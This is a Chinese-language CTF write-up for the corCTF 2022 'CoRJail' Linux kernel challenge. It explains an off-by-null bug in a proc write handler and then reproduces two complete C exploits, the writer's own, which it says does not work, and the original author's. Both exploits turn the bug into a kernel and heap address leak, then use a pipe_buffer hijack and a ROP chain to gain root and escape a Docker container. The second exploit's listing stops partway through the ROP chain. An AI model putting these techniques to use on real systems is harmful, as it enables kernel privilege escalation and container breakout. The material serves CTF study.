前言
题目来源:竞赛官网 – 建议这里下载,文件系统/带符号的 vmlinux
给了
参考
[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel – 原作者文章,poll_list
利用方式
corCTF-2022:Corjail-内核容器逃逸 – 对题目做了详细的解析
漏洞解析与利用
这里就直接对着源码看了,想分析题目的请阅读上述参考文章。
漏洞出现在 cormon_proc_write
函数中:
static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
{loff_t offset = *ppos;char *syscalls;size_t len;if (offset < 0)return -EINVAL;if (offset >= PAGE_SIZE || !count)return 0;len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);if (!syscalls){printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");return -ENOMEM;}if (copy_from_user(syscalls, ubuf, len)){printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");return -EFAULT;}syscalls[len] = '\x00';if (update_filter(syscalls)){kfree(syscalls);return -EINVAL;}kfree(syscalls);return count;
}
当 len = PAGE_SIZE
时,存在 off by null
漏洞,测试发现没有开 cg
,所以利用方式很多,但是题目是在容器中并且限制了很多系统调用,比如 msgsnd
等。
这里笔者采用了两种利用方式,第一种就是原作者文章中提出的利用 poll_list
构造任意释放原语,然后利用该原语构造 UAF
,详细见原文。这里给出笔者的 exp
这种方式感觉很不稳定,然后我的
exp
存在问题,打不通。但是原作者的exp
是可以成功打通的。原作者的exp
可以好好学习一下,里面有很多技巧去稳定堆喷
笔者 exp
:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>
#include <keyutils.h>#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>#include <linux/rtnetlink.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/pfkeyv2.h>
#include <linux/xfrm.h>#include <net/if.h>
#include <arpa/inet.h>struct rcu_head
{void *next;void *func;
};struct user_key_payload
{struct rcu_head rcu;unsigned short datalen;char *data[];
};struct poll_list
{struct poll_list *next;int len;struct pollfd entries[];
};struct tty_file_private {size_t tty;size_t file;size_t next;size_t prev;
};int randint(int min, int max)
{return min + (rand() % (max - min));
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] %s\033[0m\n", msg);sleep(1);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");sleep(5);exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");/* to exit the process normally, instead of segmentation fault */exit(EXIT_SUCCESS);
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}// #define DEBUG 1
#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif#define PAGE_SIZE 4096
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16// size 为预分配的对象大小
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
int fds[0x1000];struct t_args
{int id;int nfds;int timer;bool suspend;
};void assign_thread_to_core(int core_id)
{cpu_set_t mask;CPU_ZERO(&mask);CPU_SET(core_id, &mask);if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0){perror("[X] assign_thread_to_core_range()");exit(1);}
}void init_fd(int i)
{fds[i] = open("/etc/passwd", O_RDONLY);if (fds[i] < 1){perror("[X] init_fd()");exit(1);}
}void *alloc_poll_list(void *args)
{struct pollfd *pfds;int nfds, timer, id;bool suspend;id = ((struct t_args *)args)->id;nfds = ((struct t_args *)args)->nfds;timer = ((struct t_args *)args)->timer;suspend = ((struct t_args *)args)->suspend;pfds = calloc(nfds, sizeof(struct pollfd));for (int i = 0; i < nfds; i++){pfds[i].fd = fds[0];pfds[i].events = POLLERR;}assign_thread_to_core(0);pthread_mutex_lock(&mutex);poll_threads++;pthread_mutex_unlock(&mutex);debug("[Thread %d] Start polling...\n", id);int ret = poll(pfds, nfds, timer);debug("[Thread %d] Polling complete: %d!\n", id, ret);assign_thread_to_core(randint(1, 3));if (suspend){debug("[Thread %d] Suspending thread...\n", id);pthread_mutex_lock(&mutex);poll_threads--;pthread_mutex_unlock(&mutex);while (1) { };}}void create_poll_thread(int id, size_t size, int timer, bool suspend)
{struct t_args *args;args = calloc(1, sizeof(struct t_args));if (size > PAGE_SIZE)size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));args->id = id;args->nfds = NFDS(size);args->timer = timer;args->suspend = suspend;pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}void join_poll_threads(void)
{for (int i = 0; i < poll_threads; i++){pthread_join(poll_tid[i], NULL);open("/proc/self/stat", O_RDONLY);}poll_threads = 0;
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000
bool is_kernel_pointer(uint64_t addr)
{return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}bool is_heap_addr(size_t addr) {return addr >= 0xFFFF888000000000 && addr <= 0xFFFFF00000000000;
}bool is_heap_pointer(uint64_t addr)
{return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}int fd;
void off_by_null(){char buf[PAGE_SIZE] = { 0 };write(fd, buf, PAGE_SIZE);
}#define SPRAY_SEQ_F 2048
#define SPRAY_SEQ_S 128
#define SPRAY_SEQ (SPRAY_SEQ_F+SPRAY_SEQ_S)
#define SPRAY_KEY 199
#define SPRAY_TTY 256
#define SPRAY_PIPE 1024int seq_fd[SPRAY_SEQ];
int key_id[SPRAY_KEY];
int tty_fd[SPRAY_TTY];
int pipe_fd[SPRAY_PIPE][2];
size_t kbase, koffset;int main(int argc, char** argv, char** envp)
{bind_core(0);save_status();char buf[0x20000] = { 0 };fd = open("/proc_rw/cormon", O_RDWR);if (fd < 0) err_exit("FAILED to open /proc_rw/cormon");init_fd(0);info("Saturating kmalloc-32 partial slabs...");for (int i = 0; i < SPRAY_SEQ_F; i++) {seq_fd[i] = open("/proc/self/stat", O_RDONLY);if (seq_fd[i] < 0)err_exit("FAILED to open /proc/self/stat at Saturating kmalloc-32 partial slabs");}info("Spraying user_key_payload in kmalloc-32...");for (int i = 0; i < SPRAY_KEY / 3; i++) {char value[100] = { 0 };char des[8] = { 0 };sprintf(des, "%d", i);setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);key_id[i] = key_alloc(des, value, 32-0x18);if (key_id[i] < 0) err_exit("FAILED to alloc user key");}int thread_nums = 22;info("Creating poll threads to spray poll_list chain...");for (int i = 0; i < thread_nums; i++) {create_poll_thread(i, 4096+24, 4000, false);}while (poll_threads != thread_nums) {}sleep(1);info("Spraying user_key_payload in kmalloc-32...");for (int i = SPRAY_KEY / 3; i < SPRAY_KEY; i++) {char value[32] = { 0 };char des[8] = { 0 };sprintf(des, "%d", i);setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);key_id[i] = key_alloc(des, value, 32-0x18);if (key_id[i] < 0) err_exit("FAILED to alloc user key");}info("Corrupting poll_list next pointer...");off_by_null();info("Triggering arbitrary free...");join_poll_threads();info("Overwriting user_key_payload.datalen by spraying seq_operations...");for (int i = 0; i < SPRAY_SEQ_S; i++) {seq_fd[SPRAY_SEQ_F+i] = open("/proc/self/stat", O_RDONLY);if (seq_fd[SPRAY_SEQ_F+i] < 0)err_exit("FAILED to open /proc/self/stat to spray seq_operations");}info("Leaking kernel addr...");int victim_key_i = -1;uint64_t proc_single_show = -1;for (int i = 0; i < SPRAY_KEY; i++) {if (key_read(key_id[i], buf, sizeof(buf)) > 32) {binary_dump("OOB READ DATA", buf, 0x20);victim_key_i = i;proc_single_show = *(uint64_t*)buf;koffset = proc_single_show - 0xffffffff813275c0;kbase = koffset + 0xffffffff81000000;hexx("victim_key_i", i);hexx("proc_single_show", proc_single_show);hexx("koffset", koffset);hexx("kbase", kbase);break;}}if (victim_key_i == -1) err_exit("FAILED to leak kernel addr");info("Freeing all user_key_payload...");for (int i = 0; i < SPRAY_KEY; i++) {if (i != victim_key_i) {key_revoke(key_id[i]);if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");}}// info("Freeing partial seq_operations...");
// for (int i = 0; i < SPRAY_SEQ_S; i += 2) {
// close(seq_fd[SPRAY_SEQ_F+i]);
// }sleep(1);info("Spraying tty_file_private / tty_sturct...");for (int i = 0; i < SPRAY_TTY; i++) {tty_fd[i] = open("/dev/ptmx", O_RDWR|O_NOCTTY);if (tty_fd[i] < 0) err_exit("FAILED to open /dev/ptmx");}info("Leak heap addr by OOB READ tty_file_private.tty_struct...");memset(buf, 0, sizeof(buf));int len = key_read(key_id[victim_key_i], buf, sizeof(buf));hexx("OOB READ len", len);struct tty_file_private* tfp;struct tty_file_private tfp_data;for (size_t i = 0; i < len; i += 8) {tfp = (struct tty_file_private*)(&buf[i]);if (is_heap_pointer(tfp->tty) && (((tfp->tty) & 0xff) == 0)) {if ((tfp->next == tfp->prev) && (tfp->next != 0)) {if (tfp->tty != tfp->file && tfp->tty != tfp->next) {binary_dump("tty_file_private", tfp, sizeof(struct tty_file_private));memcpy(&tfp_data, tfp, sizeof(struct tty_file_private));break;}}}tfp = NULL;}if (tfp == NULL) err_exit("FAILED to leak heap addr");uint64_t target_obj = tfp_data.tty;hexx("A kmalloc-1k obj addr", target_obj);// info("Freeing the rest of seq_operations...");
// for (int i = 1; i < SPRAY_SEQ_S; i += 2) {
// close(seq_fd[SPRAY_SEQ_F+i]);
// }info("Freeing all seq_operations...");for (int i = 0; i < SPRAY_SEQ_S; i++) {close(seq_fd[SPRAY_SEQ_F+i]);}sleep(1);thread_nums = 199;info("Creating poll threads to spray poll_list chain...");for (int i = 0; i < thread_nums; i++) {create_poll_thread(i, 24, 5000, false);}while (poll_threads != thread_nums) {}sleep(1);info("Freeing victim key...");key_revoke(key_id[victim_key_i]);if (key_unlink(key_id[victim_key_i]) < 0) err_exit("FAILED to key_unlink");info("Corrupting poll_list next pointer...");for (int i = 0; i < SPRAY_KEY - 1; i++) {char value[100] = { 0 };char des[100] = { 0 };*(uint64_t*)value = target_obj - 0x18;sprintf(des, "%d", i);setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);key_id[i] = key_alloc(des, value, 32-0x18);if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");}info("Freeing all tty_file_private / tty_struct...");for (int i = 0; i < SPRAY_TTY; i++) {close(tty_fd[i]);}/* info("Spraying user_key_payload to occupy some kmalloc-1k objs...");for (int i = 0; i < SPRAY_KEY; i++) {char value[0x1000] = { 0 };char des[8] = { 0 };sprintf(des, "%d", i);key_id[i] = key_alloc(des, value, 1024-0x18);if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");}sleep(1);info("Freeing some user_key_payload to kmalloc-1k slab...");for (int i = 0; i < SPRAY_KEY; i += 2) {key_revoke(key_id[i]);if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");}
*/info("Spraying pipe_buffer to occupy target obj...");for (int i = 0; i < SPRAY_PIPE; i++) {if (pipe(pipe_fd[i]) < 0) err_exit("FAILED to spray pipe_buffer");write(pipe_fd[i][1], "Pwn", 3);}/* info("Freeing the rest of user_key_payload to kmalloc-1k slab...");for (int i = 1; i < SPRAY_KEY; i += 2) {key_revoke(key_id[i]);if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");}
*/info("Triggering arbitrary free...");join_poll_threads();sleep(1);char* buff = (char *)calloc(1, 1024);// Stack pivot*(uint64_t *)&buff[0x10] = target_obj + 0x30; // anon_pipe_buf_ops*(uint64_t *)&buff[0x38] = koffset + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]*(uint64_t *)&buff[0x66] = koffset + 0xffffffff810007a9; // pop rsp ; ret*(uint64_t *)&buff[0x00] = koffset + 0xffffffff813c6b78; // add rsp, 0x78 ; ret// ROPuint64_t* rop = (uint64_t *)&buff[0x80];// creds = prepare_kernel_cred(0)*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret*rop ++= 0; // 0*rop ++= koffset + 0xffffffff810ebc90; // prepare_kernel_cred// commit_creds(creds)*rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0; // 0*rop ++= koffset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret*rop ++= koffset + 0xffffffff810eba40; // commit_creds// task = find_task_by_vpid(1)*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret*rop ++= 1; // pid*rop ++= koffset + 0xffffffff810e4fc0; // find_task_by_vpid// switch_task_namespaces(task, init_nsproxy)*rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0; // 0*rop ++= koffset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret*rop ++= koffset + 0xffffffff8100051c; // pop rsi ; ret*rop ++= koffset + 0xffffffff8245a720; // init_nsproxy;*rop ++= koffset + 0xffffffff810ea4e0; // switch_task_namespaces// new_fs = copy_fs_struct(init_fs)*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret*rop ++= koffset + 0xffffffff82589740; // init_fs;*rop ++= koffset + 0xffffffff812e7350; // copy_fs_struct;*rop ++= koffset + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret// current = find_task_by_vpid(getpid())*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret*rop ++= getpid(); // pid*rop ++= koffset + 0xffffffff810e4fc0; // find_task_by_vpid// current->fs = new_fs*rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0x6e0; // current->fs*rop ++= koffset + 0xffffffff8102396f; // add rax, rcx ; ret*rop ++= koffset + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret*rop ++= 0; // rbx// kpti trampoline*rop ++= koffset + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22*rop ++= 0;*rop ++= 0;*rop ++= (uint64_t)&get_root_shell;*rop ++= user_cs;*rop ++= user_rflags;*rop ++= user_sp;*rop ++= user_ss;info("Freeing all user_key_payload...");for (int i = 0; i < SPRAY_KEY - 1; i++) {key_revoke(key_id[i]);if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");}sleep(1);info("Spray ROP chain...");for (int i = 0; i < 19; i++) {char des[100] = { 0 };sprintf(des, "%d", i);key_id[i] = key_alloc(des, buff, 1024-0x18);if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");}info("Hijacking control flow...");for (int i = 0; i < SPRAY_PIPE; i++) {close(pipe_fd[i][0]);close(pipe_fd[i][1]);}puts("EXP NERVER END!");return 0;
}
效果如下:根本打不通,还是太菜了,最后似乎无法成功拿到 target_object
原作者 exp
:成功率还行,可以接收
#define _GNU_SOURCE#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>
#include <keyutils.h>#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>#include <linux/rtnetlink.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/pfkeyv2.h>
#include <linux/xfrm.h>#include <net/if.h>
#include <arpa/inet.h>// #define DEBUG 1#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000#define PAGE_SIZE 4096
#define MAX_KEYS 199
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;uint64_t usr_cs, usr_ss, usr_rflags;
uint64_t proc_single_show;
uint64_t target_object;
uint64_t kernel_base;int pipes[0x1000][2];
int seq_ops[0x10000];
int ptmx[0x1000];
int fds[0x1000];
int keys[0x1000];
int corrupted_key;
int n_keys;
int fd;
int s;struct t_args
{int id;int nfds;int timer;bool suspend;
};struct rcu_head
{void *next;void *func;
};struct user_key_payload
{struct rcu_head rcu;unsigned short datalen;char *data[];
};struct poll_list
{struct poll_list *next;int len;struct pollfd entries[];
};bool is_kernel_pointer(uint64_t addr)
{return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}bool is_heap_pointer(uint64_t addr)
{return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}void __pause(char *msg)
{printf("[-] Paused - %s\n", msg);getchar();
}void save_state()
{__asm__ __volatile__("movq %0, cs;""movq %1, ss;""pushfq;""popq %2;": "=r" (usr_cs), "=r" (usr_ss), "=r" (usr_rflags) : : "memory" );
}int randint(int min, int max)
{return min + (rand() % (max - min));
}void assign_to_core(int core_id)
{cpu_set_t mask;CPU_ZERO(&mask);CPU_SET(core_id, &mask);if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0){perror("[X] sched_setaffinity()");exit(1);}
}void assign_thread_to_core(int core_id)
{cpu_set_t mask;CPU_ZERO(&mask);CPU_SET(core_id, &mask);if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0){perror("[X] assign_thread_to_core_range()");exit(1);}
}void init_fd(int i)
{fds[i] = open("/etc/passwd", O_RDONLY);if (fds[i] < 1){perror("[X] init_fd()");exit(1);}
}void *alloc_poll_list(void *args)
{struct pollfd *pfds;int nfds, timer, id;bool suspend;id = ((struct t_args *)args)->id;nfds = ((struct t_args *)args)->nfds;timer = ((struct t_args *)args)->timer;suspend = ((struct t_args *)args)->suspend;pfds = calloc(nfds, sizeof(struct pollfd));for (int i = 0; i < nfds; i++){pfds[i].fd = fds[0];pfds[i].events = POLLERR;}assign_thread_to_core(0);pthread_mutex_lock(&mutex);poll_threads++;pthread_mutex_unlock(&mutex);debug("[Thread %d] Start polling...\n", id);int ret = poll(pfds, nfds, timer);debug("[Thread %d] Polling complete: %d!\n", id, ret);assign_thread_to_core(randint(1, 3));if (suspend){ debug("[Thread %d] Suspending thread...\n", id);pthread_mutex_lock(&mutex);poll_threads--;pthread_mutex_unlock(&mutex);while (1) { };}}void create_poll_thread(int id, size_t size, int timer, bool suspend)
{struct t_args *args;args = calloc(1, sizeof(struct t_args));if (size > PAGE_SIZE)size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));args->id = id;args->nfds = NFDS(size);args->timer = timer;args->suspend = suspend;pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}void join_poll_threads(void)
{for (int i = 0; i < poll_threads; i++){pthread_join(poll_tid[i], NULL);open("/proc/self/stat", O_RDONLY);}poll_threads = 0;
}int alloc_key(int id, char *buff, size_t size)
{char desc[256] = { 0 };char *payload;int key;size -= sizeof(struct user_key_payload);sprintf(desc, "payload_%d", id);payload = buff ? buff : calloc(1, size);if (!buff)memset(payload, id, size); key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);if (key < 0){perror("[X] add_key()");return -1;}return key;
}void free_key(int i)
{keyctl_revoke(keys[i]);keyctl_unlink(keys[i], KEY_SPEC_PROCESS_KEYRING);n_keys--;
}void free_all_keys(bool skip_corrupted_key)
{for (int i = 0; i < n_keys; i++){ if (skip_corrupted_key && i == corrupted_key)continue;free_key(i);}sleep(1); // GC keys
}char *get_key(int i, size_t size)
{char *data;data = calloc(1, size);keyctl_read(keys[i], data, size);return data;
}void alloc_pipe_buff(int i)
{if (pipe(pipes[i]) < 0){perror("[X] alloc_pipe_buff()");return;}if (write(pipes[i][1], "XXXXX", 5) < 0){perror("[X] alloc_pipe_buff()");return;}
}void release_pipe_buff(int i)
{if (close(pipes[i][0]) < 0){perror("[X] release_pipe_buff()");return;}if (close(pipes[i][1]) < 0){perror("[X] release_pipe_buff()");return;}
}void alloc_tty(int i)
{ptmx[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);if (ptmx[i] < 0){perror("[X] alloc_tty()");exit(1);}
}void free_tty(int i)
{close(ptmx[i]);
}void alloc_seq_ops(int i)
{seq_ops[i] = open("/proc/self/stat", O_RDONLY);if (seq_ops[i] < 0){perror("[X] spray_seq_ops()");exit(1);}
}void free_seq_ops(int i)
{close(seq_ops[i]);
}int leak_kernel_pointer(void)
{uint64_t *leak;char *key;for (int i = 0; i < n_keys; i++){key = get_key(i, 0x10000);leak = (uint64_t *)key;if (is_kernel_pointer(*leak) && (*leak & 0xfff) == 0x5c0){corrupted_key = i;proc_single_show = *leak;kernel_base = proc_single_show - 0xffffffff813275c0;printf("[+] Corrupted key found: keys[%d]!\n", corrupted_key);printf("[+] Leaked proc_single_show address: 0x%llx\n", proc_single_show);printf("[+] Kernel base address: 0x%llx\n", kernel_base + 0xffffffff00000000);return 0;}}return -1;
}int leak_heap_pointer(int kid)
{uint64_t *leak;char *key;key = get_key(kid, 0x20000);leak = (uint64_t *)key;for (int i = 0; i < 0x20000/sizeof(uint64_t); i++){if (is_heap_pointer(leak[i]) && (leak[i] & 0xff) == 0x00){ if (leak[i + 2] == leak[i + 3] && leak[i + 2] != 0){target_object = leak[i];printf("[+] Leaked kmalloc-1024 object: 0x%llx\n", target_object);return 0;}}}return -1;
}bool check_root()
{int fd;if ((fd = open("/etc/shadow", O_RDONLY)) < 0)return false;close(fd);return true;
}void win(void)
{if (check_root()){puts("[+] We are Ro0ot!");char *args[] = { "/bin/bash", "-i", NULL };execve(args[0], args, NULL);}
}int main(int argc, char **argv)
{ char data[0x1000] = { 0 };char key[32] = { 0 };uint64_t *rop;void *stack;char *buff;assign_to_core(0);save_state();stack = mmap((void *)0xdead000, 0x10000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);fd = open("/proc_rw/cormon", O_RDWR);if (fd < 0){perror("[X] open()");return -1;}init_fd(0);puts("[*] Saturating kmalloc-32 partial slabs...");for (int i = 0; i < 2048; i++)alloc_seq_ops(i);puts("[*] Spraying user keys in kmalloc-32...");for (int i = 0; i < 72; i++){ setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);keys[i] = alloc_key(n_keys++, key, 32);}assign_to_core(randint(1, 3));puts("[*] Creating poll threads...");for (int i = 0; i < 14; i++)create_poll_thread(i, 4096 + 24, 3000, false);assign_to_core(0);while (poll_threads != 14) { };usleep(250000);puts("[*] Spraying more user keys in kmalloc-32...");for (int i = 72; i < MAX_KEYS; i++){setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);keys[i] = alloc_key(n_keys++, key, 32);}puts("[*] Corrupting poll_list next pointer...");write(fd, data, PAGE_SIZE);puts("[*] Triggering arbitrary free...");join_poll_threads();puts("[*] Overwriting user key size / Spraying seq_operations structures...");for (int i = 2048; i < 2048 + 128; i++)alloc_seq_ops(i);puts("[*] Leaking kernel pointer...");if (leak_kernel_pointer() < 0){puts("[X] Kernel pointer leak failed, try again...");exit(1);}puts("[*] Freeing user keys...");free_all_keys(true);puts("[*] Spraying tty_file_private / tty_struct structures...");for (int i = 0; i < 72; i++)alloc_tty(i);puts("[*] Leaking heap pointer...");if (leak_heap_pointer(corrupted_key) < 0){puts("[X] Heap pointer leak failed, try again...");exit(1);}puts("[*] Freeing seq_operation structures...");for (int i = 2048; i < 2048 + 128; i++)free_seq_ops(i);assign_to_core(randint(1, 3));puts("[*] Creating poll threads...");for (int i = 0; i < 192; i++)create_poll_thread(i, 24, 3000, true);assign_to_core(0);while (poll_threads != 192) { }; usleep(250000);puts("[*] Freeing corrupted key...");free_key(corrupted_key);sleep(1); // GC keyputs("[*] Overwriting poll_list next pointer...");*(uint64_t *)&data[0] = target_object - 0x18;for (int i = 0; i < MAX_KEYS; i++){setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);keys[i] = alloc_key(n_keys++, key, 32);}puts("[*] Freeing tty_struct structures...");for (int i = 0; i < 72; i++)free_tty(i);sleep(1); // GC TTYsputs("[*] Spraying pipe_buffer structures...");for (int i = 0; i < 1024; i++)alloc_pipe_buff(i);puts("[*] Triggering arbitrary free...");while (poll_threads != 0) { };buff = (char *)calloc(1, 1024);// Stack pivot*(uint64_t *)&buff[0x10] = target_object + 0x30; // anon_pipe_buf_ops*(uint64_t *)&buff[0x38] = kernel_base + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]*(uint64_t *)&buff[0x66] = kernel_base + 0xffffffff810007a9; // pop rsp ; ret*(uint64_t *)&buff[0x00] = kernel_base + 0xffffffff813c6b78; // add rsp, 0x78 ; ret// ROProp = (uint64_t *)&buff[0x80];// creds = prepare_kernel_cred(0)*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret*rop ++= 0; // 0*rop ++= kernel_base + 0xffffffff810ebc90; // prepare_kernel_cred// commit_creds(creds)*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0; // 0*rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret*rop ++= kernel_base + 0xffffffff810eba40; // commit_creds// task = find_task_by_vpid(1)*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret*rop ++= 1; // pid*rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid// switch_task_namespaces(task, init_nsproxy)*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0; // 0*rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret*rop ++= kernel_base + 0xffffffff8100051c; // pop rsi ; ret*rop ++= kernel_base + 0xffffffff8245a720; // init_nsproxy;*rop ++= kernel_base + 0xffffffff810ea4e0; // switch_task_namespaces// new_fs = copy_fs_struct(init_fs)*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret*rop ++= kernel_base + 0xffffffff82589740; // init_fs;*rop ++= kernel_base + 0xffffffff812e7350; // copy_fs_struct;*rop ++= kernel_base + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret// current = find_task_by_vpid(getpid())*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret*rop ++= getpid(); // pid*rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid// current->fs = new_fs*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0x6e0; // current->fs*rop ++= kernel_base + 0xffffffff8102396f; // add rax, rcx ; ret*rop ++= kernel_base + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret*rop ++= 0; // rbx// 